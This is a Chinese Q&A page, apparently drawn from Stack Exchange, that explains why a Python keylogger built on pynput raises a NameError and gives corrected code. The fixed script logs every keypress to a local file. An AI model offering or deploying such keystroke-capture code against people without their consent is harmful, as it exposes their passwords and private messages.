You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python使用pynput写keylogger报NameError: key未定义如何解决

报错原因

该错误由Python变量作用域规则和代码执行顺序问题共同导致:

  • key是anonymous回调函数的入参,仅在函数内部有效,函数外部无法访问该变量
  • 你将写文件、打印key的逻辑写在了anonymous函数外部,代码启动后会立刻执行这部分逻辑,此时还没有触发任何按键事件,key变量完全未定义,直接触发NameError,甚至都不会执行到后续启动监听器的代码。
修复方法

将写文件、打印key的逻辑缩进调整到anonymous函数内部,保证只有按键触发回调时才会执行这部分逻辑,修改后完整代码如下:

from pynput.keyboard import Listener

def anonymous(key):
    key = str(key)
    if key == "Key.f12":
        raise SystemExit(0)
    if key == "Key.ctrl_l":
        print("")
    # 以下两行缩进移到函数内部
    with open("log.txt", "a") as file:
        file.write(key)
    print(key)

with Listener(on_press=anonymous) as listener:
    listener.join()

内容的提问来源于stack exchange,提问作者CæsarX

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.09.23 14:54:01